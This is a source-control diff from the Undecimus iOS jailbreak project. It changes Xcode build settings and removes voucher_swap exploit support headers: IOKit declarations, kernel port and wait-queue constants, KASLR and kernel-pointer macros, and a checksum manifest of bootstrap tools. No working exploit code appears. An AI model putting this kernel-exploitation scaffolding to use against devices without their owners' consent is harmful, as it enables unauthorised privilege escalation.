LIBRARY_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus",
|
||||
"$(PROJECT_DIR)/Undecimus/libs",
|
||||
);
|
||||
ONLY_ACTIVE_ARCH = NO;
|
||||
OTHER_CFLAGS = "";
|
||||
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
"-w",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = science.xnu.undecimus;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
VALID_ARCHS = "arm64 arm64e";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
@@ -846,13 +586,9 @@
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = YES;
|
||||
ARCHS = (
|
||||
arm64e,
|
||||
arm64,
|
||||
);
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/multi_path.entitlements";
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/resources/multi_path.entitlements";
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
DEVELOPMENT_TEAM = "";
|
||||
@@ -868,8 +604,6 @@
|
||||
"$(PROJECT_DIR)/patchfinder64",
|
||||
"$(PROJECT_DIR)/snappy",
|
||||
"$(PROJECT_DIR)/Injector",
|
||||
"$(PROJECT_DIR)/offset-cache",
|
||||
"$(PROJECT_DIR)/kerneldec",
|
||||
);
|
||||
INFOPLIST_FILE = Undecimus/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
@@ -877,20 +611,17 @@
|
||||
LIBRARY_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus",
|
||||
"$(PROJECT_DIR)/Undecimus/libs",
|
||||
);
|
||||
OTHER_CFLAGS = "";
|
||||
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
"-w",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = science.xnu.undecimus;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
VALID_ARCHS = "arm64 arm64e";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
|
||||
+185
-757
File diff suppressed because it is too large
Load Diff
@@ -1,76 +0,0 @@
|
||||
/*
|
||||
* IOKitLib.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__IOKITLIB_H_
|
||||
#define VOUCHER_SWAP__IOKITLIB_H_
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
typedef mach_port_t io_object_t;
|
||||
typedef io_object_t io_connect_t;
|
||||
typedef io_object_t io_iterator_t;
|
||||
typedef io_object_t io_service_t;
|
||||
|
||||
extern const mach_port_t kIOMasterPortDefault;
|
||||
|
||||
kern_return_t
|
||||
IOObjectRelease(
|
||||
io_object_t object );
|
||||
|
||||
io_object_t
|
||||
IOIteratorNext(
|
||||
io_iterator_t iterator );
|
||||
|
||||
io_service_t
|
||||
IOServiceGetMatchingService(
|
||||
mach_port_t masterPort,
|
||||
CFDictionaryRef matching CF_RELEASES_ARGUMENT);
|
||||
|
||||
kern_return_t
|
||||
IOServiceGetMatchingServices(
|
||||
mach_port_t masterPort,
|
||||
CFDictionaryRef matching CF_RELEASES_ARGUMENT,
|
||||
io_iterator_t * existing );
|
||||
|
||||
kern_return_t
|
||||
IOServiceOpen(
|
||||
io_service_t service,
|
||||
task_port_t owningTask,
|
||||
uint32_t type,
|
||||
io_connect_t * connect );
|
||||
|
||||
kern_return_t
|
||||
IOServiceClose(
|
||||
io_connect_t connect );
|
||||
|
||||
kern_return_t
|
||||
IOConnectCallMethod(
|
||||
mach_port_t connection, // In
|
||||
uint32_t selector, // In
|
||||
const uint64_t *input, // In
|
||||
uint32_t inputCnt, // In
|
||||
const void *inputStruct, // In
|
||||
size_t inputStructCnt, // In
|
||||
uint64_t *output, // Out
|
||||
uint32_t *outputCnt, // In/Out
|
||||
void *outputStruct, // Out
|
||||
size_t *outputStructCnt) // In/Out
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
kern_return_t
|
||||
IOConnectTrap6(io_connect_t connect,
|
||||
uint32_t index,
|
||||
uintptr_t p1,
|
||||
uintptr_t p2,
|
||||
uintptr_t p3,
|
||||
uintptr_t p4,
|
||||
uintptr_t p5,
|
||||
uintptr_t p6);
|
||||
|
||||
CFMutableDictionaryRef
|
||||
IOServiceMatching(
|
||||
const char * name ) CF_RETURNS_RETAINED;
|
||||
|
||||
#endif
|
||||
@@ -1,33 +0,0 @@
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@class UIProgressIndicator, UILabel, UIImageView, UIWindow;
|
||||
|
||||
@interface UIProgressHUD : UIView {
|
||||
|
||||
UIProgressIndicator* _progressIndicator;
|
||||
UILabel* _progressMessage;
|
||||
UIImageView* _doneView;
|
||||
UIWindow* _parentWindow;
|
||||
struct {
|
||||
unsigned isShowing : 1;
|
||||
unsigned isShowingText : 1;
|
||||
unsigned fixedFrame : 1;
|
||||
unsigned reserved : 30;
|
||||
} _progressHUDFlags;
|
||||
|
||||
}
|
||||
-(id)initWithFrame:(CGRect)arg1 ;
|
||||
-(void)layoutSubviews;
|
||||
-(void)hide;
|
||||
-(void)show:(bool)arg1 ;
|
||||
-(void)drawRect:(CGRect)arg1 ;
|
||||
-(void)dealloc;
|
||||
-(void)setText:(id)arg1 ;
|
||||
-(id)initWithWindow:(id)arg1 ;
|
||||
-(void)done;
|
||||
-(void)setFontSize:(int)arg1 ;
|
||||
-(id)_progressIndicator;
|
||||
-(void)setShowsText:(bool)arg1 ;
|
||||
-(void)showInView:(id)arg1 ;
|
||||
@end
|
||||
|
||||
@@ -4,54 +4,22 @@
|
||||
#include <stdint.h> // uint*_t
|
||||
#include <stdbool.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach/error.h>
|
||||
#ifdef __OBJC__
|
||||
#include <Foundation/Foundation.h>
|
||||
#define RAWLOG(str, args...) do { NSLog(@str, ##args); } while(false)
|
||||
#define localize(x) NSLocalizedString(x, @"")
|
||||
#define ADDRSTRING(val) [NSString stringWithFormat:@ADDR, val]
|
||||
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
|
||||
#else
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
extern void NSLog(CFStringRef, ...);
|
||||
#define RAWLOG(str, args...) do { NSLog(CFSTR(str), ##args); } while(false)
|
||||
#define BOOL bool
|
||||
#define YES ((BOOL) true)
|
||||
#define NO ((BOOL) false)
|
||||
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
|
||||
#endif
|
||||
|
||||
#define LOG(str, args...) RAWLOG("[*] " str, ##args)
|
||||
|
||||
#define SafeFree(x) do { if (x) free(x); } while(false)
|
||||
#define SafeFreeNULL(x) do { SafeFree(x); (x) = NULL; } while(false)
|
||||
#define CFSafeRelease(x) do { if (x) CFRelease(x); } while(false)
|
||||
#define CFSafeReleaseNULL(x) do { CFSafeRelease(x); (x) = NULL; } while(false)
|
||||
|
||||
#define kCFCoreFoundationVersionNumber_iOS_12_0 1535.12
|
||||
#define kCFCoreFoundationVersionNumber_iOS_11_3 1452.23
|
||||
#define kCFCoreFoundationVersionNumber_iOS_11_0 1443.00
|
||||
|
||||
#define auto __auto_type
|
||||
|
||||
#define ADDR "0x%016llx"
|
||||
#define MACH_HEADER_MAGIC MH_MAGIC_64
|
||||
#define MACH_LC_SEGMENT LC_SEGMENT_64
|
||||
typedef struct mach_header_64 mach_hdr_t;
|
||||
typedef struct segment_command_64 mach_seg_t;
|
||||
typedef struct load_command mach_lc_t;
|
||||
typedef uint64_t kptr_t;
|
||||
#define KPTR_NULL ((kptr_t) 0)
|
||||
#define KERN_POINTER_VALID(val) ((val) >= 0xffff000000000000 && (val) != 0xffffffffffffffff)
|
||||
#define MAX_KASLR_SLIDE 0x21000000
|
||||
#define STATIC_KERNEL_BASE_ADDRESS 0xfffffff007004000
|
||||
|
||||
extern kptr_t offset_options;
|
||||
#define OPT(x) (offset_options?((rk64(offset_options) & OPT_ ##x)?true:false):false)
|
||||
#define SETOPT(x) (offset_options?wk64(offset_options, rk64(offset_options) | OPT_ ##x):0)
|
||||
#define UNSETOPT(x) (offset_options?wk64(offset_options, rk64(offset_options) & ~OPT_ ##x):0)
|
||||
#define OPT_GET_TASK_ALLOW (1<<0)
|
||||
#define OPT_CS_DEBUGGED (1<<1)
|
||||
|
||||
#define SIZE_NULL ((size_t) 0)
|
||||
typedef struct load_command mach_lc_t;
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -15,52 +15,8 @@ typedef io_object_t io_connect_t;
|
||||
typedef io_object_t io_iterator_t;
|
||||
|
||||
#define IO_OBJECT_NULL (0)
|
||||
|
||||
#define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY"
|
||||
|
||||
#define IO_BITS_PORT_INFO 0x0000f000
|
||||
#define IO_BITS_KOTYPE 0x00000fff
|
||||
#define IO_BITS_OTYPE 0x7fff0000
|
||||
#define IO_BITS_ACTIVE 0x80000000
|
||||
|
||||
#define IKOT_NONE 0
|
||||
#define IKOT_THREAD 1
|
||||
#define IKOT_TASK 2
|
||||
#define IKOT_HOST 3
|
||||
#define IKOT_HOST_PRIV 4
|
||||
#define IKOT_PROCESSOR 5
|
||||
#define IKOT_PSET 6
|
||||
#define IKOT_PSET_NAME 7
|
||||
#define IKOT_TIMER 8
|
||||
#define IKOT_PAGING_REQUEST 9
|
||||
#define IKOT_MIG 10
|
||||
#define IKOT_MEMORY_OBJECT 11
|
||||
#define IKOT_XMM_PAGER 12
|
||||
#define IKOT_XMM_KERNEL 13
|
||||
#define IKOT_XMM_REPLY 14
|
||||
#define IKOT_UND_REPLY 15
|
||||
#define IKOT_HOST_NOTIFY 16
|
||||
#define IKOT_HOST_SECURITY 17
|
||||
#define IKOT_LEDGER 18
|
||||
#define IKOT_MASTER_DEVICE 19
|
||||
#define IKOT_TASK_NAME 20
|
||||
#define IKOT_SUBSYSTEM 21
|
||||
#define IKOT_IO_DONE_QUEUE 22
|
||||
#define IKOT_SEMAPHORE 23
|
||||
#define IKOT_LOCK_SET 24
|
||||
#define IKOT_CLOCK 25
|
||||
#define IKOT_CLOCK_CTRL 26
|
||||
#define IKOT_IOKIT_SPARE 27
|
||||
#define IKOT_NAMED_ENTRY 28
|
||||
#define IKOT_IOKIT_CONNECT 29
|
||||
#define IKOT_IOKIT_OBJECT 30
|
||||
#define IKOT_UPL 31
|
||||
#define IKOT_MEM_OBJ_CONTROL 32
|
||||
#define IKOT_AU_SESSIONPORT 33
|
||||
#define IKOT_FILEPORT 34
|
||||
#define IKOT_LABELH 35
|
||||
#define IKOT_TASK_RESUME 36
|
||||
|
||||
enum
|
||||
{
|
||||
kIOCFSerializeToBinary = 0x00000001U,
|
||||
|
||||
@@ -1,52 +0,0 @@
|
||||
/*
|
||||
* ipc_port.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__IPC_PORT_H_
|
||||
#define VOUCHER_SWAP__IPC_PORT_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
|
||||
|
||||
#define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
|
||||
|
||||
#define WQT_QUEUE 0x2
|
||||
|
||||
union waitq_flags {
|
||||
struct {
|
||||
uint32_t /* flags */
|
||||
waitq_type:2, /* only public field */
|
||||
waitq_fifo:1, /* fifo wakeup policy? */
|
||||
waitq_prepost:1, /* waitq supports prepost? */
|
||||
waitq_irq:1, /* waitq requires interrupts disabled */
|
||||
waitq_isvalid:1, /* waitq structure is valid */
|
||||
waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
|
||||
waitq_eventmask:_EVENT_MASK_BITS;
|
||||
};
|
||||
uint32_t flags;
|
||||
};
|
||||
|
||||
// ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
|
||||
|
||||
#define IKOT_NONE 0
|
||||
#define IKOT_TASK 2
|
||||
|
||||
// ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
|
||||
|
||||
#define IO_BITS_KOTYPE 0x00000fff /* used by the object */
|
||||
#define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
|
||||
|
||||
#define io_makebits(active, otype, kotype) \
|
||||
(((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
|
||||
|
||||
#define IOT_PORT 0
|
||||
|
||||
// ---- Custom definitions ------------------------------------------------------------------------
|
||||
|
||||
#define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
|
||||
|
||||
// ------------------------------------------------------------------------------------------------
|
||||
|
||||
#endif
|
||||
@@ -1,46 +0,0 @@
|
||||
/*
|
||||
* mach_vm.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__MACH_VM_H_
|
||||
#define VOUCHER_SWAP__MACH_VM_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_deallocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size
|
||||
);
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_read_overwrite
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t *outsize
|
||||
);
|
||||
|
||||
#endif
|
||||
@@ -1,262 +0,0 @@
|
||||
b898b8bcd8656374448051a69057521d ./usr/bin/tee
|
||||
2703abe4fb5a83025c1b9476ff76bd33 ./usr/bin/split
|
||||
b710863f5f7acf5212de2ae187a88036 ./usr/bin/vim
|
||||
924eba52787a353e3fc6238528bc8b57 ./usr/bin/hexdump
|
||||
50ba68b0d76faecb0ea94b70a59f299a ./usr/bin/nonceutil
|
||||
f03b02a469fe0f346e44db75a1fc47ef ./usr/bin/lsmp
|
||||
a0b9f9016ccade288455b7141e1a693a ./usr/bin/vm_stat
|
||||
7a503e87e55cee7427f94c5046f602d8 ./usr/bin/syslog
|
||||
dd692a7b33f7478497f8c1b68755c477 ./usr/bin/du
|
||||
636437c879c120f204305669342a8294 ./usr/bin/fs_usage
|
||||
5eab0aa90c966a26d7f2d912bcd19e74 ./usr/bin/renice
|
||||
7a747035cf06761640e2bd1121a9fed7 ./usr/bin/xxd
|
||||
33785345f40bdad328c2a79f013e91e8 ./usr/bin/sc_usage
|
||||
58041d4cc703a25dc41d5b5e49994da3 ./usr/bin/less
|
||||
9c3b5ece12be439690b6f0a021dde9e3 ./usr/bin/inject
|
||||
65cf7456fbf76bdb3fffadf765c3e54a ./usr/bin/sed
|
||||
8f4cfcd2a709e88b88504b82ff358d65 ./usr/bin/nano
|
||||
07d32b3046248014cfaa0e1f3a489bdb ./usr/bin/tset
|
||||
63e15286116be714262cb697a7517128 ./usr/bin/seq
|
||||
e65a3eeaeea8336154f8c7f9c5bf0018 ./usr/bin/uname
|
||||
e4e05c7bf0831c52dd409dbe0d2f660e ./usr/bin/uicache
|
||||
b902b099b0b3f067165fe0baef133a69 ./usr/bin/reset
|
||||
4f01671c0ae2083b07d1ecdea264964b ./usr/bin/wc
|
||||
fd17aa563a90ced7ef7d2342aec7e280 ./usr/bin/gzip
|
||||
f89a4d1a23bc10e6e10c8f1b1bcaa652 ./usr/bin/ldid3
|
||||
2629d71e6c09495a482270544c60b5a5 ./usr/bin/printf
|
||||
c653ea9550bad9b55c97d3b1e90b8f69 ./usr/bin/ldid2
|
||||
42c0b3b435c28cec0a707dc9802cfed7 ./usr/bin/tail
|
||||
b86021f1c7316b66acd50abfedd594c2 ./usr/bin/grep
|
||||
e92491131960f0005f3f7ca416ee9236 ./usr/bin/script
|
||||
9efbb27fe365cddcb005578bd7ef7a65 ./usr/bin/more
|
||||
2fee7eacb33519aa2996cc2b83a6d357 ./usr/bin/time
|
||||
39c15e53f0dd82a58012d1d0181905e1 ./usr/bin/plconvert
|
||||
8eb822233be91c75570479c3073a5b3d ./usr/bin/head
|
||||
3bf9386f7d05055686a188718b6c12c2 ./usr/bin/clear
|
||||
f8778ec9c9faa44538b0c318624035c3 ./usr/bin/killall
|
||||
6610423671919d8e6f8588146711bd13 ./usr/bin/stat
|
||||
9f6d23b3158fd3f8a0fb900beabaa5f1 ./usr/bin/snappy
|
||||
a806f7b0dc5c4fd3d8e002afa16fadc3 ./usr/bin/sqlite3
|
||||
cdb0f23de81daad4e560ebd59c8de355 ./usr/bin/screen
|
||||
07a9b81c90872a25766127a840a14da6 ./usr/bin/arch
|
||||
50b64b8b88be46ef32d56f081542aa8c ./usr/bin/cut
|
||||
0a740c42b89808c236a07a51fe5a814d ./usr/bin/xargs
|
||||
4433ef936563f2838b09305737851015 ./usr/bin/what
|
||||
7786eabe3fe5b6b4180ced0cf4602502 ./usr/bin/ldid
|
||||
c41791441994916f3346f2f669f7bca2 ./usr/bin/chflags
|
||||
a97084e55faa35ff653099171312bb9b ./usr/bin/id
|
||||
80b33297033bd59ae090ebba1ec9b67a ./usr/bin/find
|
||||
5e84a2de4d32118d6c4adcb2e897f801 ./usr/bin/scp
|
||||
65fa4d06e93e3f9239ec284a8cafc279 ./usr/bin/true
|
||||
c32656a75f5e24d003683d8af58ca6d1 ./usr/bin/hostinfo
|
||||
b0bc120ffd09ddc8bc288556e4e238f4 ./usr/bin/tar
|
||||
d272b6b9ee40350bc868786ab6863024 ./usr/bin/false
|
||||
202fe8e6692a3a180cf0d92a16275dfc ./usr/bin/login
|
||||
d2d12e8f4cfae79936803eaa78a6c2e9 ./usr/bin/which
|
||||
a098a6ea3245b6e32b2d6085bf88f46a ./usr/bin/passwd
|
||||
23390a4a27a63ae1026e0d4640e74e97 ./usr/bin/nohup
|
||||
c9655b6dd73a182160636015270fb315 ./usr/bin/w
|
||||
110eecf0ee42142c045065003de6da8d ./usr/bin/gunzip
|
||||
3444747dd9c4f6a5207af74622318d1f ./usr/sbin/joreg
|
||||
9277c487d0a37255dba1dc8edbb14646 ./usr/sbin/ioreg
|
||||
5e0ea2ba00edd93b93c489fff5cf673e ./usr/sbin/sysctl
|
||||
a946312719036084be1584f559b2ad93 ./usr/sbin/taskpolicy
|
||||
d96c5cae510321ceb1de66a8e8a2bc47 ./usr/sbin/netstat
|
||||
ade27f5ac9bd41b1f6966829a8ae320f ./usr/sbin/ltop
|
||||
5786e43b57cc62e23931b319b91a8085 ./usr/sbin/chown
|
||||
bfe6c05f61efb46bcd4af932a504e6e6 ./usr/sbin/kextstat
|
||||
2d407928f102245200b62813aa33be3a ./usr/local/bin/wget
|
||||
70daec5f62c7801f4494df325a53c441 ./usr/local/bin/jtool2
|
||||
b95d60ad4d5812bae3eddd7c28647063 ./usr/local/bin/dbclient
|
||||
ded12835bcef335967e2165d6b0e744a ./usr/local/bin/filemon
|
||||
82b62dd019b9f24c9e7cd6a6c2140084 ./usr/local/bin/dropbear
|
||||
9886346e798d3fd0ca2535f599bffa0e ./usr/local/bin/procexp
|
||||
70da97361f47e94787937494e8653e77 ./usr/local/bin/jtool
|
||||
1eb37e4f8d302d259fb8d7b16985acfb ./usr/local/bin/dropbearkey
|
||||
4f3fb0098020807cdd741f51dd1663b3 ./usr/local/bin/jlutil
|
||||
94143bce6a7b0279a2db88ce2c3e3fdb ./usr/local/bin/joker
|
||||
bfa7e6f6b1c4f2044457101a6bc319c8 ./usr/local/bin/dropbearconvert
|
||||
a115f8ee5627857f5da055a1a8e9056c ./usr/local/bin/dropbear.orig
|
||||
d09a8eba7adbcf9417c48ed83928753b ./usr/local/bin/procexp.ent
|
||||
44298a30dfedbb312ba3923716aa61a0 ./usr/local/lib/zsh/5.0.8/zsh/termcap.so
|
||||
d0b05ff80a5f5470a77740714735c573 ./usr/local/lib/zsh/5.0.8/zsh/zleparameter.so
|
||||
d8c7842dca4e2b405ce8ab605aa78594 ./usr/local/lib/zsh/5.0.8/zsh/example.so
|
||||
73ae237bf2dafc21cef52e3b04bcd90d ./usr/local/lib/zsh/5.0.8/zsh/tcp.so
|
||||
23586b85e7444fe401672bdca5585e64 ./usr/local/lib/zsh/5.0.8/zsh/newuser.so
|
||||
705963ad326169b2b1a3a517b05765d7 ./usr/local/lib/zsh/5.0.8/zsh/deltochar.so
|
||||
714cfac68394abc786f32e96056a98a6 ./usr/local/lib/zsh/5.0.8/zsh/complete.so
|
||||
f25da108adc8701d153c9da648735307 ./usr/local/lib/zsh/5.0.8/zsh/mapfile.so
|
||||
65c97546fd24f08f90f4b49ce8632c64 ./usr/local/lib/zsh/5.0.8/zsh/stat.so
|
||||
b66cfb813e273d2ea24f585a9d07e2e0 ./usr/local/lib/zsh/5.0.8/zsh/compctl.so
|
||||
da02e032689685300c6c8a760d119066 ./usr/local/lib/zsh/5.0.8/zsh/zselect.so
|
||||
fc34fea197cfac379678b83ccaff6a1b ./usr/local/lib/zsh/5.0.8/zsh/parameter.so
|
||||
63231fa531348d09c55eff734e306e18 ./usr/local/lib/zsh/5.0.8/zsh/datetime.so
|
||||
f91108fc9fb83cc2138f9d1da7487b29 ./usr/local/lib/zsh/5.0.8/zsh/socket.so
|
||||
91f38fd37f10e3f35dbcbb49b8adfb0a ./usr/local/lib/zsh/5.0.8/zsh/terminfo.so
|
||||
deb70a41a405bb0824436ad028c556b6 ./usr/local/lib/zsh/5.0.8/zsh/clone.so
|
||||
9d3559e577bfca109520e4f0bad491ba ./usr/local/lib/zsh/5.0.8/zsh/regex.so
|
||||
f12d65d38fbe3c1db7b7d65d13a25e0c ./usr/local/lib/zsh/5.0.8/zsh/attr.so
|
||||
d16c5f028e26d507cdb8af9f165f14f8 ./usr/local/lib/zsh/5.0.8/zsh/curses.so
|
||||
91f32f5cb48390222c22ed8028e55d90 ./usr/local/lib/zsh/5.0.8/zsh/files.so
|
||||
eaf924f4282275441520d82567069883 ./usr/local/lib/zsh/5.0.8/zsh/system.so
|
||||
24a2ba2b1826a6e8990b04d9bc43e316 ./usr/local/lib/zsh/5.0.8/zsh/zpty.so
|
||||
23cc2ecf2e19f32f8eb6f9d7a37e1706 ./usr/local/lib/zsh/5.0.8/zsh/zle.so
|
||||
4d094b2b38db4fd73ae574befb25204e ./usr/local/lib/zsh/5.0.8/zsh/mathfunc.so
|
||||
bec6c7e86f26a77b9524ed128da4b4d9 ./usr/local/lib/zsh/5.0.8/zsh/zutil.so
|
||||
2ae606823ae7e68d3af3bb351a19b437 ./usr/local/lib/zsh/5.0.8/zsh/complist.so
|
||||
c6a1d10d2211feb80284e81186caa6be ./usr/local/lib/zsh/5.0.8/zsh/zftp.so
|
||||
7f3430e22eb6b38aa117ee4ed9352cee ./usr/local/lib/zsh/5.0.8/zsh/cap.so
|
||||
b513edef71f83a0254ee3f78539a1240 ./usr/local/lib/zsh/5.0.8/zsh/computil.so
|
||||
fdba1d6dda089229cdaa4a10f621b703 ./usr/local/lib/zsh/5.0.8/zsh/zprof.so
|
||||
68fc31400366cc71bf7f7e2177ea6368 ./usr/local/lib/zsh/5.0.8/zsh/langinfo.so
|
||||
fa2279010eb25eb9658280d4e8741a4c ./usr/share/terminfo/61/ansi80x50-mono
|
||||
c835906031322f6793d0bba8a4024cf4 ./usr/share/terminfo/61/ansi+idl1
|
||||
3b55b40fd24d7095314b9c3571aac6fb ./usr/share/terminfo/61/ansil
|
||||
68354f5acab5acd36a028df8ef111944 ./usr/share/terminfo/61/ansi+idc
|
||||
3ae2c75389debb39daa93a37d0a05592 ./usr/share/terminfo/61/ansiw
|
||||
4ef30ab8d7c15a62823e5f4264f6d62d ./usr/share/terminfo/61/ansi80x30
|
||||
0929a9ac82bd6cb0238dfb7577b8240f ./usr/share/terminfo/61/ansi-mono
|
||||
12c43baa349979c093c1743a7489d8ee ./usr/share/terminfo/61/ansi+pp
|
||||
41573351ca6e86546bd1a58cdbf5cd62 ./usr/share/terminfo/61/ansi+idl
|
||||
fa2279010eb25eb9658280d4e8741a4c ./usr/share/terminfo/61/ansil-mono
|
||||
586b7d053f8a935202bc95bd769ee4f3 ./usr/share/terminfo/61/ansi80x30-mono
|
||||
3ae2c75389debb39daa93a37d0a05592 ./usr/share/terminfo/61/ansi80x25-raw
|
||||
71a5dd341d754460eb189f73779feb41 ./usr/share/terminfo/61/ansi+csr
|
||||
30ef341210e5227e41eaff5b83fac717 ./usr/share/terminfo/61/ansi-generic
|
||||
cf35f34c8755efb774005f800afab654 ./usr/share/terminfo/61/ansi+sgr
|
||||
6e327b6172dd4886024fd780797da60a ./usr/share/terminfo/61/ansi+cup
|
||||
a811d944eb78b2a1f97aa6578dca08fa ./usr/share/terminfo/61/ansi-emx
|
||||
017e3893644413c3d4446ac47c93951f ./usr/share/terminfo/61/ansi+sgrbold
|
||||
0afdcc1032306d8d3ea05def04340d21 ./usr/share/terminfo/61/ansi+sgrul
|
||||
418c636af2942a1462885a6b667825a7 ./usr/share/terminfo/61/ansi80x60-mono
|
||||
5ab0fa91be25a2e1005fcd94dc9dd469 ./usr/share/terminfo/61/ansi+sgrso
|
||||
6b3a86ff2f1b95acfdd820fbf8750b01 ./usr/share/terminfo/61/ansi
|
||||
f18d72643477964bafbb499a518afab3 ./usr/share/terminfo/61/ansi-color-2-emx
|
||||
5cc9c4e94f47197a1171e8841c0909a6 ./usr/share/terminfo/61/ansis-mono
|
||||
bd5a24c27f2aae15e7c8616478b35177 ./usr/share/terminfo/61/ansi-color-3-emx
|
||||
47a77469940121acd86a1b82db198f3b ./usr/share/terminfo/61/ansisysk
|
||||
6871af613871edf164a0656f20dc2c8c ./usr/share/terminfo/61/ansi43m
|
||||
042f8da76683abcdace3439800571223 ./usr/share/terminfo/61/ansi-mtabs
|
||||
33b216e8fec086dbe4c884aa7b566d5b ./usr/share/terminfo/61/ansi+sgrdim
|
||||
5eb691998583e67c1d1d66f6d1b065ba ./usr/share/terminfo/61/ansi80x25
|
||||
38ad8b0dad6aab8bd2016f70a99cd5b0 ./usr/share/terminfo/61/ansi+erase
|
||||
aa05b8d0aa5e705fa2ad93378fd63f6e ./usr/share/terminfo/61/ansi+rep
|
||||
5eb691998583e67c1d1d66f6d1b065ba ./usr/share/terminfo/61/ansis
|
||||
3b55b40fd24d7095314b9c3571aac6fb ./usr/share/terminfo/61/ansi80x50
|
||||
7183c55fa5ac8798a7dc32930ac058f5 ./usr/share/terminfo/61/ansi+tabs
|
||||
943d1287db33a09d31ba2ec571047807 ./usr/share/terminfo/61/ansi+local1
|
||||
c54fc1fd467518dae352dd8de6fade98 ./usr/share/terminfo/61/ansi80x60
|
||||
54f926c6f19b6d1f02ced3ec7dcc7d2d ./usr/share/terminfo/61/ansi+rca
|
||||
c12e955efc5c4f813357a89fd90a84b3 ./usr/share/terminfo/61/ansi-mini
|
||||
908b80b219e9ae677f65aac5814a8aba ./usr/share/terminfo/61/ansi+enq
|
||||
5b2a31e020e45acef8b3154423e36061 ./usr/share/terminfo/61/ansi-nt
|
||||
7a494b98caadb3132504382fe6ccd1e3 ./usr/share/terminfo/61/ansi77
|
||||
d59ad3dfe0d905f83febae83bbb6490d ./usr/share/terminfo/61/ansi-mr
|
||||
c5195124980c2d8c2be86cbfa4c29390 ./usr/share/terminfo/61/ansi80x43-mono
|
||||
fccc68bc07c0961e088e0b327d585008 ./usr/share/terminfo/61/ansi.sys
|
||||
3f95bb59083f6458ee20714be2455c24 ./usr/share/terminfo/61/ansi.sys-old
|
||||
47a77469940121acd86a1b82db198f3b ./usr/share/terminfo/61/ansi.sysk
|
||||
5cc9c4e94f47197a1171e8841c0909a6 ./usr/share/terminfo/61/ansi80x25-mono
|
||||
34b77e5af5db12946a3720cb7c72fbbc ./usr/share/terminfo/61/ansi+inittabs
|
||||
fe8ccd619fa36730e1989be8bf64a880 ./usr/share/terminfo/61/ansi+local
|
||||
0929a9ac82bd6cb0238dfb7577b8240f ./usr/share/terminfo/61/ansi-m
|
||||
e0a527902af2067e4b2d7233098a9544 ./usr/share/terminfo/61/ansi80x43
|
||||
acc9f736d0109a103776546ff99d4448 ./usr/share/terminfo/61/ansi+arrows
|
||||
758da19fa1ad8fa0aa8872d2fa4fabc2 ./usr/share/terminfo/73/screen-16color
|
||||
71191244af59a0bc0eff3cb7e5c6761a ./usr/share/terminfo/73/screen2
|
||||
